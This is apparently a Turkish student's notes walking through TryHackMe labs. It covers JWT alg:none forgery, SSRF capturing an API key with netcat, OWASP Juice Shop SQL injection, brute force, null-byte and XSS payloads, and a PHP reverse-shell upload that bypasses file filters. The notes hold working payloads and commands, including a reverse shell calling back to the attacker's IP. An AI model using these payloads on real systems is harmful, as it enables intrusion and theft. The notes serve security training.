{"username":"admin","exp":1728528649} => eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4NTI4NjQ5fQ.
- en son olarak bu şekilde görünmeli:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4NTI4NjQ5fQ.
- şimdi bu değeri value kısımında yerleştirip sayfayı yenileyelim
- sonuç: THM{Dont_take_cookies_from_strangers}
- burada imza kısmını bş bırakmamızın sebebi ise "alg":"none" yaptığımızdan bu yöntemi zaten devre dışı bıramış olmamızdandır
- ' Server Side Request Forgery (SSRF)
- sunucu tarflı istek sahteciliği(SSRF) nedir?
- bir saldırgan web uygulamasını kullanarak isteğe bağlı hedeflere istek göndermeye zorlayabilmesi durumunda ortaya çıkan bir güvenlik zafiyetidir.
- genellikle web uygulamalarının üçüncü taraf hizmerleri ile etkileşim kurduğu senaryolarda meydana gelir
- SSRF nasıl çalışır?
- örn: bir web uygulaması harici bir API kullanarak müşterilerine SMS bildirimi gönderebilir
- bu işlem için web uygulaması SMS sağlayıcısına bir web isteği gönderir ve bu isteğe gizli bir API KEY ekler
- bu API KEY, SMS sağlayıcısının her isteği doğrulamasını ve mesaj başına ücretlendirme yapmasını sağlar
- SSRF saldırısının tehlikesi:
- saldırgan, web uygulamasının "server" parametresini manipüle ederek, isteği kontrol ettiği bir sunucuya yönlendirebilir
- web uygulaması budurumda, saldırganın web sunucusuna bir istek gönderir ve bu istekle birlikte API KEY i de iletebilir
- saldırgan burumda anahtarı kullanarak, masrafları kurbana ait olmak üzere SMS servisini kötüye kullanabilir
- SSRF saldırı örneği:
- örnek bir istek: https://www.mysite.com/sms?server=srv4.sms.thm&msg=ABC
- burada saldırgan server bağlantısını manipüle ederek: https://www.mysite.com/sms?server=attacker.thm&msg=ABC
- uygulama bu istek sonucunda şu şekilde bir talepte bulunur: https://attacker.thm/api/send?msg=ABC
- saldırgan bu talebi yakalarak API KEY i elde edebilir
- SSRF in diğer kullanım alanları:
- Dahili ağları keşfetmek: dahili IP adreslerini ve bağlantı noktalarını keşfetmek için kullanılabilir
- Güvne ilişkilerini kötüye kullanmak: sunucular arasındaki güven ilişikilerini istismar ederek
- HTTP dışı hizmetlerle etkileşim: bası durumlarda uzaktan kod yürütme (RCE(Remote Code Execution)) gibi daha ciddi saldırılar içinde kullanılabilir.
- sorular:
- öncelikle bize verilen bağlantıya gidelim: http://10.10.56.44:8087/
- Web sitesini keşfedin. Yönetici alanına erişmesine izin verilen tek ana bilgisayar hangisidir?
- bunu için sağ tarafta üç çizgi var burada Admin Area kısmına tıklayalım bakalım
- Admin arayüzü yalnızca localhost'ta mevcuttur!!!
- bunu bir deneyelim: localhost
- "Özgeçmişi İndir" düğmesini kontrol edin. Sunucu parametresi nereye işaret ediyor?
- ana sayfasda bir indirme butonu var burada ki linki kopyalayalım: http://10.10.56.44:8087/download?server=secure-file-storage.com:8087&id=75482342
- işaret edilen sunucu parmetresi: secure-file-storage.com
- SSRF'yi kullanarak uygulamanın, isteği güvenli dosya deposu yerine AttackBox'ınıza göndermesini sağlayın. Ele geçirilen istekte herhangi bir API anahtarı var mı?
- burada openvpn bağlantısı ile kendi sanal bilgisayarımızda yapabiliriz. (Bu konu daha önce detaylı ele alınmıştır)
- öncelikle netcat aracı ile herhangi bir portu dinlemeye alalım: terminale: nc -nlvp 443
- daha sonra tryhacme bağlantımızda bize verilen ip ile dinlemeye aldığımız portu server parametersine yerleştirelim:
http://10.10.56.44:8087/download?server=10.9.2.12:443&id=75482342
- bunu browser da url kısına yazıp terminale bakalım
listening on [any] 443 ...
connect to [10.9.2.12] from (UNKNOWN) [10.10.56.44] 46712
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.9.2.12:443
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
- görüldüğü üzere web isteği içerisinde gönderilen API KEY i yakaladık
- THM{Hello_Im_just_an_API_key}
- Ekstra Yola Çıkmak: Sitenin yönetici alanına erişim sağlamak için SSRF'yi kullanmanın bir yolu var. Bulabilir misin?
- daha önce zaten ana bilgisayar adını öğrenmiştik: localhost
- şimdi de bu bağlatı üzerinde gidelim: http://10.10.56.44:8087/download?server=http://localhost:8087/admin%23&id=75482342
- bu durumda %23 bu ifade fragment Identifier ayni parça işatretcisi olarak tanımlarnır ve sorgunun kalankısmı isteğe dahil edilmemesini sağlar
- eğer sunucuda bu gibi eylem varsa sorgu şu şekilde görinecek: http://localhost:8087/
- eğer dosya id si geçersiz olsaydı erişim sağlayamazdık
- deneyelim: ve bir dosyanın indiği göreceksiniz Download dizinine ve içerisinde: The flag is thm{c4n_i_haz_flagz_plz?}
- ' Security Log and Monitoring Failures: Güvenlik Günlüğü ve İzleme Arızaları
- Günlük kayıt önemi:
- web uygulamarında kullanıcıların her eylemi günlüğe kayıt edilmelidir
- olaylar sonrasında saldırganın izlenmesi ve faaliyetlerinin analiz edilmesi açısından kritik öneme sahiptir
- eylemler takip edilerek riskler ve etkiler belirlenebilir ve gerekli önlem ve saldırgan analizi yapılıp izi sürülebilir
- eğer günlük tutulmazsa yaşana biiecek olaylar:
- mevzuat hasarı: kişisel kullanıcı bilgilerine erişim sağlandığında bunun kaydı yoksa uygulama sahipleri yasal yaptırımlara maruz kalabilir
- daha fazla saldırı riski: saldırgan fark edilmezse ek saldırılar başlatabilir ve sistemin zayıflıklarından faydalanabilir
- günlüklerde saklanması gereken biligiler:
- http durum kodları
- zaman damgaları
- kullanıcı adları
- API uç noktaları ve sayfa konumları
- IP adresleri
- Günlüklerin güvenliği:
- olaylar meydana geldikten sonra günlük tutma daha kritik öneme sahiptir
- şüpheli etkinliklerin tespit edilmesi saldırıları önlemek veya etkilerini en aza indirmek için önemlidir
- Yaygın şüpheli etkinlik örnekleri
- yetkisiz girişimlerin tekrarı (örn: yönetici sayfalarına erişim girişimleri)
- anormal IP veya konumlardan gelen istekler
- otomatik araçların kullanımını gösteren belirtiler (örn: kullanıcı aracı başlıkları veya hızla yapılan istekler)
- saldırganların bilinen payloadları kullanarak testler yapması
- Şüpheli faaliyetlerin derecelendirilmesi ve tepki:
- şüpheli etkinlikler etki seviyesine göre sınıflandırılmalıdır
- yüksek etkili eylemler daha hızlı bir yanıt gerektirir ve alarm verilerek "dikkat" çekilmelidir.
- sorular: bize verilen görev dosyalarını indirelim
- indirilen dosyamız bir göz atalım:
cat Downloads/login-logs_1595366583422.txt
200 OK 12.55.22.88 jr22 2019-03-18T09:21:17 /login
200 OK 14.56.23.11 rand99 2019-03-18T10:19:22 /login
200 OK 17.33.10.38 afer11 2019-03-18T11:11:44 /login
200 OK 99.12.44.20 rad4 2019-03-18T11:55:51 /login
200 OK 67.34.22.10 bff1 2019-03-18T13:08:59 /login
200 OK 34.55.11.14 hax0r 2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin 2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous 2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root 2019-03-21T21:08:30 /login
- burada http 401 durum kodu var sanırım yetkisiz giriş denemelerinde bulunulmuş yani kaba kuvvet saldırısı gibi görünüyor
- sorularımıza bakalım:
- Saldırgan hangi IP adresini kullanıyor? : 49.99.13.16
- Ne tür bir saldırı yapılıyor? Brute Force
21.Study: ' OWASP Juice Shop
- Giriş:
- en sık karşılaşılan güvenlik açıkları ile alakalı uygulamalar yapacağız. Bunlar:
- Injection : enjeksiyon
- Broken Authentication : Bozuk Kimlik Doğrulama
- Sensitive Data Exposure : Hassa Verilerin Açığa Çıkarılması
- Broken Access Control : Bozuk Erişim Kontrolü
- Cross Site Scripting CSS/XSS : Siteler Arası Komut Dosyası Çalıştırma
- ' Bilgi Toplama:
- burada bize bilgi toplama ile ilgili soru sorulmuş. İkl soru:
- yönetici mail adresi?
- web sitesi incelenerek bu bilgiye rahatlıkla ulaşılır. bize verilen bağlatıya IP adresine gidelim:10.10.186.102
- burada ilk ürüne tıkladığımız zaman Reviews kısmınd: admin@juice-sh.op maili görebiliriz. Bu adım kolaydı :)
- soru: Arama için hangi parametre kullanılıyor?
- bunun için:
- arama kutusuna mesela apple yazalım ve urlde : http://10.10.186.102/#/search?q=apple
- burada arama parametresi: q
- soru: Jim incelemesinde hangi diziden bahsediyor?
- bize verilen bilgide Jim i işaret eden kısmı bulmalıyız
- bu kısım da "green smoothie" de bu arkadaş bir inceleme yapmaış ve anahtar kelimemiz ise "replicator"
- bize bu diziyi soruyor
- google da "replicator show" arattığımızda ise karşımıza "star trek" çıkıyor
- ' SQL Enjeksiyon ByPass Injection : enjeksiyon
- başlıkktan da anlaşılacağı üzere SQL enjection uygulaması yapacağız
- hedef sistemde herhangi bir kullanıcı adı veya mail adres bilgisine sahip değilsek mantıksal sorgulama yapabiliriz (1=1 gibi)
- soru: Yönetici hesabına giriş yapın!
- login bölümüne geçeliz: http://10.10.186.102/#/login
- email:dogukan'OR 1 = 1 -- password : dogukan' OR 1 = 1 -- (bu kullanım ile işi sağlama almış oluruz)
- bu kullanım or ifadesinden sonraki kısım için ilk kullanıcıyı ve her 1=1 in true
ifadesinin doğruluğunu kullanara kendinden sonra gelen ifadelerin sorguya dahil edilmemesini sağlar yani yorum olarak algılanmasını sağlar(--)
veri tabanında dogukan' OR 1=1 ifadesinin birince veya ikinci kısmı mutlaka veri tabanında karşılık bulmalıdır ki sorgu doğru çalışsın
- bu durumda dogukan karşılık bulmayacak ve mantıkasal olarak 1=1 olduğunda admin kullanıcısına erişim sağlamış olacağız
- aldığımız kod: 32a5e0f21372bcc1000a6088b93b458e41f0e02a
- soru: Bender hesabına giriş yapın!
- hadi siteyi biraz daha inceleyerek bu arkadaşın hesabını öğrenelim
- "Banana Juice" de bir şey paylaşmış
- mail adresi:bender@juice-sh.op olarak meydanda
- aynı mantıksal sorgulama yapalım: bender@juice-sh.op' --
- burada daha sonra gelen sorguları yorum satırı haline getirdiğimizde şifre kısımına a yazsakta olur
- tek veya çift tırnak olma kısımını deneme yanılma ile bulabiliriz
- verilen kod: fb364762a3c102b2db932069c0e6b78e738d4066
- ' Brute Force ile Admin Şifre Kırma Broken Authentication : Bozuk Kimlik Doğrulama
- bu kısımda Brute Force ile parola kırma işlemi yapcağız
- bu saldırını başarılı olması, kullanıcalak olan password listesine bağlıdır
- biz burada bize verilen yönergeler dahilinde bir liste kullanacağız
- ama gerçek ortamda bunu yapmak için hedef kişiye özel bir parola listesi oluşturulması gerek
- kullanacağımız parolo listesi sizde yoksa : apt-get install seclist yazarak bunu temin edebilirsiniz
- bu varsa kullanıcak liste: /usr/share/wordlists/seclists/Passwords/Common-Credentials/best1050.txt
- ve burp suite aracı ile yapacağız
- makineyi çalıştırın ve hedef ıp adresini alıp burp suite içindeki browser da girin
- soru: admin hesabının password ü nü soruyor
- zaten mail edresini bulmuştuk: admin@juice-sh.op
- bu adres sabit kalarak sadece pasword saldoroso yapcağız
- login kısmına mail: admin@juice-sh.op | password: password
- girin ve bunu gönderin ve paketi yakalayın
- şimdi bunu intruder a gönderin
- tırnak içindeki parola kısmını seçin bu arada sniper seçili olsun ve payloads kısmına gidin load kımında ilgili adrese giderek bu dosya içeri aktarın ve saldırıyı başlatın
- status code 200 olanları dikkate alacağız
- ve password: admin123 olarak elde edilmiştir
- şimdi giriş yapalım: c2110d06dc6f81c67cd8099ff0ba601241f1ac0e
- soru: Jim in parolasını resetlememizi istiyor
- bunun için:
- daha önce jim ile ilgili star trek doğrulaması yapmıştık google da jim star trek aratıp wiki de aile kısmında samuel i görebiliriz
- bu şifre sıfırlamada kullanacağımız bilgidir
- forgat your password dan email: jim@juice-sh.op
- güvenlik sorusuna: Samuel
- ve yeni şifremiz: asdasd
- bayrak: 094fbc9b48e525150ba97d05b942bbf114987257
- ' Hassas Veri Maruziyeti Sensitive Data Exposure : Hassa Verilerin Açığa Çıkarılması
- bu kısımda "Sensitive Data Exposure" yani "Hassas Veri Maruziyeti" konusunu ele alacağız
- hedef web sitenin herhangi bir yerinde karşımıza çıkabilen beklenmeyen bilgi ifşasıdır
- ilk olarak hedfin about kısmına bie göz atalım
- burada bir bağlantı verilmiş: Check out our boring terms of use if you are interested in such lame stuff
- dosya sunucusundan dosya indirmek için
- yanlız dikkat çeken bir kısım var: imleç ile tıklamadan üzerine gelindiğinde sol alt tarafta: http://10.10.202.253/ftp/legal.md
- buna benzer bir url göreceksiz
- garip olan ftp dizinini görebiliyor olmamız
- hadi bu dizine ulaşabiliyor muyuz ona bakalım: http://10.10.202.253/ftp/
- evet ulaşabiliyoruz
- burada daha farklı dosyalara ulaşabiliyoruz
- bizden istenen bu dosyayı indirmemiz: acquisitions.md
- ve sonrasında bir bayrak ile verilecek: edf9281222395a1c5fee9b89e32175f1ccf50c5b
- soru: MC Güvenli Arama'nın hesabına giriş yapın!
- bu kısımda aslında anlatılmak istenen şey:
- herhangi bir yerden örn: video da ele alınan bir konu üzerinden veya kelimeden çıkarım yapılarak bir sonuca/bilgiye ulaşılabilir
- zaten burada bize gerekli argumanlar verilmiş:
- mc.safesearch@juice-sh.op | Mr. N00dles
- bu hesaba giriş yapalım
- elde edilen bayrağımız: 66bdcffad9e698fd534003fbb3cc7e2b7b55d7f0
- soru: package.json.bak dosyasını indirin!
- bu dosyayı indirmek için daha önce elde ettiğimiz ftp dizinine gidelim: http://10.10.202.253/ftp
- indirmek istediğimiz hata alıyoruz. Bu hata bize "sadece .md ve .pdf dosyaları indirilebir" olduğunu söylüyor. Bunu nasıl çözeriz?
- bunun için "poison null byte" => bu üç karakter yan yana geldiğinde kendinden sonra gelenleri yorum satırı yapmaktadır => %00
- bizde bu yöntemi kullanarak bir atlatma uygulayarak hedef web sitesindeki ftp dizin içerisindeki dosyayı indireceğiz
- http://10.10.202.253/ftp/package.json.bak bu urlde http://10.10.202.253/ftp/package.json.bak%00 şöyle yaparak atlatma yapıp dosyanın inmesini sağlayacağız
- fakat URL yi kullanarak indirebildiğimiz için bunu URL kodlu bir formatta kodlamamız gerekecek. Yani:
- http://10.10.202.253/ftp/package.json.bak%2500.md yaparak hem onun istedeği olmuş oluyor fakat biz istediğimiz sonuca varmış oluyoruz
- bunu iki şekilde de denemekte fayda var:
- http://10.10.202.253/ftp/package.json.bak%2500.md karakter bypass ı url formatlı
- http://10.10.202.253/ftp/package.json.bak%00.md karakter bypass ı
- Bu neden işe yarıyor?
- Poison Null Byte aslında bir NULL sonlandırıcıdır.
- Dizenin belirli bir bayta bir NULL karakteri yerleştirilmesiyle, dize sunucuya bu noktada sonlandırmasını söyleyecek ve dizenin geri kalanını geçersiz kılacaktır.
- ' Broken Access Control : Bozuk Erişim Kontrolü
- burada admin paneline erişmemiz isteniyor
- daha önce admin parolasını elde etmiştik
- ancak doğrudan bir bağlantı üzerinden değil de bir yönetim paneli arayarak bunu gerçekleştirmemiz gerekiyor
- bir javascript dosyası üzerinde web yönetim sayfası arayacağız ve yönetim paneline ulaşacağız
- öncelikle admin olarak giriş yapalım: admin@juice-sh.op | admin123
- giriş yaptıktan sonra doğrudan yönetim paneli verilmeyebilir
- yani admin hesabına girdikten sonra bile url kısmına elle yazılarak bir girdi yapılması gerekebilir
- böylesi bir durumda ayrıca yönetim panelini ayrıca tespit etmek gerkiyor
- bizde javascript dosyası üzerinden admin yönetim paneline erişmeye çalışacağız
- bunun için sağ tıklayıp inspect e gidelim
- ardından debugger kısmından javascript kodlarına ulaşabilir
- buradaki her bir JS dosyasını ayrı ayrı inceleyebiliriz ilk olarak: main-es2015.js bu dosyaya bakalım
- Bunu okuyabileceğimiz bir formata dönüştürmek için alttaki { } düğmesini tıklayın
- ctrl+f ile path diye bir arama yaparsak yollar ile ilgili bilgileri içeren başlıkları karşımıza çıkaracaktır
- burada ki her sonucu ayrı ayrı incelemek gerekiyor
- arama kısmında sağ tarfta ok tuşları ile bunu yapabilirsiniz
- inceleme yaparken şöyle bir yol görüyoruz: path: 'administration'
- hemen bunu kontrol edelim url de: http://10.10.58.147/#/administration
- elde ettiğimiz bayrak: 946a799363226a24822008503f5d1324536629a0
- böylelikle yönetim paneline erişmiş oluyoruz
- şimdi de admin alış veriş sepetinden başka bir kullanıcının alış veriş sepetini görüntülenmemizi istiyor bizden
- bunun için burp suiteden yaralanacağız
- daha önce bununla ilgili detaylı bilgi verilmiştir
- şimdi bu araç üzerinden mağzaya gidip admin hesabı ile giriş yaparak bir kaç bir şey ekleyelim
- ve sepete gidelim
- şimdide burp suite de intecept on yapalım ve sayfayı yenileyerek paketleri yakalayıp başlık bilgilerini inceleyelim
- şöyle bir uzantı gördük: /rest/basket/1
- proxy kısmında bu id değerini değiştiirip forward diyelim
- bakın başka bir kullanıcının sepetine yönlendirdi bizi
- bayrağımız: 41b997a36cc33fbe4f0ba018474e19ae5ce52121
- bu bayrak burp suite üzerinden görünmez ise sanal makine browser ında deneyin ve admin hesabınına girin orada görünecektir
- geri yönetim panelinden geribildirimi beş yıldız olanı silmemiz isteniyor
- silip bayrağımızı alalım
- 50c97bcce0b895e446d61c83a21df371ac2266ef
- ' Cross Site Scripting CSS/XSS : Siteler Arası Komut Dosyası Çalıştırma
- bu kısımda XSS açığını üç farklı nokta istismar edeceğiz
- XSS açının payload larını hatırlayaxak olursanız yığınla vardı.
- bizde bunlardan faydalanarak işlemlerimizi yapcağız
- adım1:
- aram kısmına: <iframe src="javascript:alert(`xss`)"> yazalım
- bir alert kutusu ekranda belirdi
- buna: DOM XSS (Belge Nesnesi Modeli Tabanlı Siteler Arası Komut Dosyası Çalıştırma) denir
- bununla birlikte ilk doğrulamamızı yapmış oluyor XSS zafiyetinin olduğuna dair
- bayrak: 9aaf4bbea5c30d00a1f5bbcfce4db6d4b0efe0bf
- adım2:
- bu kısımda, sisteme son giriş yapıldıktan sonra IP adresinin kayıt edildiği bir alan var
- burada burp suite kullanacağız
- normalde IP adresinin bulunması gereken bir alan biz XSS payloadı ekleyerek bu payload ın kayıt edilmesini sağlayacağız
- burp suite yi çalıştıralım
- bu kısıma gidelim: http://10.10.58.147/#/privacy-security/last-login-ip
- proxy ile intercept on yapalım ve hesaptan çıkış yapalım
- son girilen IP kayıt ediliyor biz bu kısımda ayrıca parametre olarak ekleyeceğiz: <iframe src="javascript:alert(`xss`)">
- sağ tarafta request header kısmına gidelim
- ekleme yapacağız bu yüzden + işatetine tıklayın: name: True-Client-IP , value: <iframe src="javascript:alert(`xss`)">
- add deyip ekleyin
- daha sonra forward deyin
- ve daha sonra intecept off yapın
- admin hesabından: http://10.10.58.147/#/privacy-security/last-login-ip
- bu adrese gidin
- ve kalıcı XSS i yerleştirmiş olduk
- bayrak: 149aa8ce13d7a4a8a931472308e269c94dc5f156
- buna: Persistent XSS, sunucu onu içeren sayfayı yüklediğinde çalıştırılan javascripttir. Yani:
- Bunlar, sunucu bir sayfaya yüklendiğinde kullanıcı verilerini temizlemediğinde ortaya çıkabilir. Bunlar genellikle blog yazılarında bulunur.
- adım3:
- bu kısımda önceki alış verişlerin kaydedildiği bir alan var
- burada ki güvenlik açığını tespit edelim
- öncelikle adım hesabı ile üye girişi yapalım
- admin@juice-sh.op | admin123
- bu kısımda admin kullanıcısının önceki alış verişlerini kontrol ediyoruz: http://10.10.58.147/#/order-history
- track order kısmında url de id parametresini görüyoruz
- bununla ilgili bir sipariş no var
- biz bu aland XSS i kontrol etmek istediğimiz zaman: 10.10.58.147/#/track-result?id=<iframe src="javascript:alert(`xss`)">
- ekleyip sayfayı yenilediğimiz zaman gerçekleştirebilmiş oluyoruz
- buna: Reflected XSS yani:
- web uygulamasının istemci tarafında çalıştırılan bir javascripttir. Bunlar genellikle sunucunun arama verilerini temizlemediği durumlarda görülür.
- bayrak: 23cefee1527bde039295b2616eeb29e1edc660a0
- bu kısımda norlmalda id parametresi bir sipariş no beklerken biz o kısmı değiştirerek XSS payload ı ekledik ve burada da istediğimiz sonucu elde etmiş olduk
22.Study: ' Upload Vulnerabilities : Yükleme Güvenlik Açıkları
- Giriş - Ayarlar:
- Sonraki adımdalarda web sitelerindeki Uploads güvenlik açıklarını ele alacağız
- bu kısımda hedef sistemin başlatılmasına ve ayarlarına bakacağız
- etc/hosts dosyasında bir düzenleme yapmamız gerekiyor
- çünki: hedef makine birden fazla alt domanin var
- burada ki bilginin hosts dosyasına kayıt edilmesi gerekiyor:
10.10.172.65 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm
- çünkü daha sonrakii uygulamalarda IP üzerinden değil de domain ler üzerinden işlemler yapacağız
- şimdi: sudo mousepad /etc/hosts ile dosyayı açalım
- daha sonra verilen bilgiyi burada en alt satıra ekleyip ctrl+s yapın ve çıkın
- cat /etc/hosts ile okuyun
- eklenmiş olduğunu teyit edin
- şimdi kontrol için bir tanesini kontrol edelim browser da mesela: http://overwrite.uploadvulns.thm/
- sitenin açıldığını göreceksiniz.
- Introduction:
- upload güvenlik açıkları hedef sistem için kritik düzey zafiyet oluşturabilcek güvenlik açıklarıdır
- ve büyük oranda her web sitesinde dışarıdan upload edilmesi gereken dosyalar vardır
- yeterli doğrulamaya ve doğrulamaya sahip olmayan sistemde bu açık ortaya çıkabilir ve istismar edilebilir
- sonraki adımlarda:
- Overwriting existing files on a server : Sunucudaki mevcut dosyaların üzerine yazma
- Uploading and Executing Shells on a server : Kabukları bir sunucuya Yükleme ve Yürütme
- Bypassing Client-Side filtering : İstemci Tarafı filtrelemeyi atlama
- Bypassing various kinds of Server-Side filtering : Çeşitli Sunucu Tarafı filtrelemeyi atlamak
- Fooling content type validation checks : içerik türü doğrulama denetimlerini kandırma
- konularını ayrı ayrı ele alacağız
- General Methodology :
- upload güvenlik açıkları için uygulanacak yöntemler tamamen sistemin verdiği tepkiye göre değerlendirilir ve seçilir
- ama herşeyden önce sistemde bir upload noktası bulmak gerekir
- bunun için gubuster ve benzeri dizin tarama araçları kullanılabilir
- ve bu sayede upload noktaları tespit edilir
- sudo apt install gobuster komutu ile bu aracı kurabilirsiniz
- Overwriting existing files on a server : Sunucudaki mevcut dosyaların üzerine yazma
- bu kısımda var olan dosya üzürine yazma yöntemini kullanarak bir istismar gerçekleştireceğiz
- openvpb ile try hackme ye bağlı olduğunuzu varsayıyorum.
- hosts dosya içerisindeki en son eklediğimiz satırı hatırlarsanız orada ıp var eğer tryhackme üzerinde IP değişmiş ise burada da değiştirin ki bağlanmakta sorun yaşamayın
- şimdi burada bize bie demo örneği vermiş ve bunu farklı bir domainde yapmamızı istiyor
- anlatılan:
- ilgili web adresine gidilmiş ve burada bir köpek resmi var
- burada bir upload butonu var ve bu butona basmadan önce sayfa kaynak kodunu kontrol ediyor
- images dizini altında spanil.jpg dosyasını yani ana sayfada bulunan resmin konumu buluyor
- daha sonra kendi resmini upload etmeden önce resmin ismini spanil.jpg olarak değiştiriyor
- ve var olan dosya üzerine yazmış oluyor
- ve bu uygulamayı bizimde http://overwrite.uploadvulns.thm bu web sitesinde yapmamızı istiyor
- uygulamaya geçelim.
- önce kendinize bir yükleyeceğiniz bire resim bulun
- daha sonra ilgili adrese gidin
- ctrl+u ile kaynağı görüntüleyin
- <img src="images/mountains.jpg" alt=""> evet resmin kaynağını bulduk
- şimdi de mevcut resminizin burada ki resim ismi ile aynı olmasına dikkat edin
- sitedeki upload kısmından dosyanızı yükleyin
- başarılı olduğu takdir size bir bayrak verecek: THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}
- sorular:
Üzerine yazılabilecek görüntü dosyasının adı nedir? : mountains.jpg
Resmin üzerine yazın. Aldığınız bayrak nedir? : THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}
- RCE (Remote Code Execute) : Uzaktan kod çalıştırma | Uploading and Executing Shells on a server : Kabukları bir sunucuya Yükleme ve Yürütme | WEB Shell Upload and Executing
- bu kısımda anlatılan bir dizin tarama aracı (gobuster) kullanılarak yükleme dizini aranıyor
- daha sonra ilgili shell dosyası bu dizini yüklenerek bir ters kabuk elde edilir
- daha sonra ilgili port dinlenir ve bize ayrıcalıklı bir alan sunarak komutlarımızı daha doğrusu istediğimiz yapabileceğimiz bir ortam sunar
- bu uygulama için bağlantı: http://shell.uploadvulns.thm
- öncelikle webshell ayarlayalım
- bunun için locate webshell yazarak bu dosya aratalım
- eğer seclist i install ettiyseniz : /usr/share/webshells/php/php-reverse-shell.php
- bu dosya olacaktır
- eğer yoksa: sudo apt install seclists edinebilirsiniz
- bu dosya reverse shell bağlatı almamızı sağlayacak
- bu dosyayı: cp /usr/share/webshells/php/php-reverse-shell.php .
- ile bulunduğunuz konuma kopyalayın
- daha sonra mousepad php-reverse-shell.php ile dosyayı açın ve bu iki kısmı değiştirin
- ip kısmı openvpn ile bağlandığınızdaki ip yi girin
$ip = '10.9.2.12'; // CHANGE THIS
$port = 4444; // CHANGE THIS
- daha sonra kaydedip kapatın
- ve bu netcat aracı ile bu dosyayı dinlemeye alacağız
- nc -nlvp 4444 şuan bu port dinlemeye aldık
- şuanda bu php reverse shell dosyası hedefe upload edilip çalıştırıldığı anda terminalde bağlantı gelecektir
- şimdi bu dosyayı upload edelim web sitesine : http://shell.uploadvulns.thm/
- upload ettik: http://shell.uploadvulns.thm/?submit=success
- ama daha çalışmadı ve nereye kayıt edildiğini bilmiyoruz
- bunun içinde gobuster aracı ile bu dizini bulalım
gobuster dir --url http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- hedef url den metin dosyası içerisindekiler taranarak neler var onları bulalım
- şuanlık bu dizinler bulundu:
/resources (Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]
/assets (Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]
- araç çalışmaya devam ederken biz de bu dizinleri kontrol edelim
- http://shell.uploadvulns.thm/resources/php-reverse-shell.php
- elde edilen dizin yanına dosya isminide ekleyerek bunu browser da url kısmına yazalım eğer buradaysa terminale bilgi gidecektir:
- ters bağlantımızıda böylelikle almış olduk
- sorular:
Yukarıdaki ekran görüntüsündeki sözdizimini kullanarak web sitesinde bir Gobuster taraması çalıştırın. Yüklemeler için hangi dizin kullanılabilir? : /resources
Makineye bir ağ kabuğu veya bir ters kabuk alın. Sunucunun /var/www/ dizinindeki işaret nedir? :
önce terminalde kontrol edelim bu dizini: ls /var/www/
flag.txt dosyası gördük
bunu okumak için: cat /var/www/flag.txt
bayrak: THM{YWFhY2U3ZGI4N2QxNmQzZjk0YjgzZDZk}
- Client-Side filtering : İstemci Tarafı filtreleme
- bu filtreleme, kullanıcı browser ında gerçekleşen filtreleme dir yani bizim browser ımızda yapılan kontroldür
- bu istemci taraflı filtremeyi aşmak kolaydır
- burp suite ile araya girilerek işlemler gerçekleştirilir
- ve sunucuya gönderilen bilgiler browser dan çıktıktan sonra değiştirilir ve o şekilde sunucuya gönderilir ve bu filtreleme işlemi atlatılabilir
- burada beş farklı filtreleme türünden bahsedebiliriz
- daha sonra uygulamaları yapılacaktır
- uzantı doğrulaması olabilir
- dosya türü filtrelemesi olabilir
- dosya uzunluğu filtrelemesi olabilir(dosya boyutu)
- dosya adı filtrelemesi olabilir
- dosya içeriği filtrelemesi olabilir
- sorular:
Geleneksel olarak baskın olan sunucu tarafı kodlama dili nedir? : php
Dosya uzantısına göre doğrulama yaparken, kabul edilen uzantıların listesine ne denir (buna göre sunucu, listede olmayan herhangi bir uzantıyı reddeder)? : whitelist
[Araştırma] Bir CSV dosyasını yüklerken hangi MIME türünü görmeyi beklersiniz? : bunun için: csv mime type google aratırsanıt: => text/csv
- Bypassing Client-Side filtering : İstemci Tarafı filtrelemeyi atlama
- bizden istenen bu web sitesine : java.uploadvulns.thm bir shell uploa etmemiz ve /var/www dizini altındaki bayrağı almamız isteniyor
- öncelikle sitede keşif amaç bir turlayalım ne var bakalım: http://java.uploadvulns.thm
- diğerleri ile aynı şimdi locate webshell de php reverse dosyasını bulup ip bilgiisni openvpb ip si ile değiştirelim daha sönce yaptığımız gibi
- ve bu dosyayı siteye yüklemeye çalışalım: ama dosya tipinden dolayı izin vermedi o halde şunu deneyelim
- mv php-reverse-shell.php shell.png ile dosya adı ve uzantısını değiştirdik şimdi deneyelim
- ve evet sanırım uzantıdan dolayı bir filtreleme var şimdide port dinlemesi yapalım
- kaynak koda tekrar bakalım ve : <script src="assets/js/client-side-filter.js"></script> bu dosya filterme yapıyor bunu response da yakalyıp deaktif etmeliyiz
- bu sırada da dizin listelemk için: gobuster dir --url http://java.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- çalıştıralım ve şimdi de dosya aktarma işlemine geri dönelim
- bu dosya çalışması lazım ki ters bağlantı alalım
- bunun için: burp suite yi kullanacağız
- burp suiti açın ve proxy sekme sinde ve browser dan foxy brox i aktif edin
- daha sonra http://java.uploadvulns.thm yi browser da url kısmına yazın ve giderken request i yakalayın
- burp suite de intercep is on olmasına dikkat edin ve yakalan request e sağ tıklayarak "Do İntercetp" => "Response to this request" e basaın ve forward deyin
- şu kısımı silin: <script src="assets/js/client-side-filter.js"></script>
- ve forward deyin
- shell.png dosyamızı web sitesinde seçip upload butonuna basın ve burp suite geri dönünün
- burada şu satırı:
Content-Disposition: form-data; name="fileToUpload"; filename="shell.png"
Content-Type: image/png
- şöyle değiştirelim
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: text/x-php
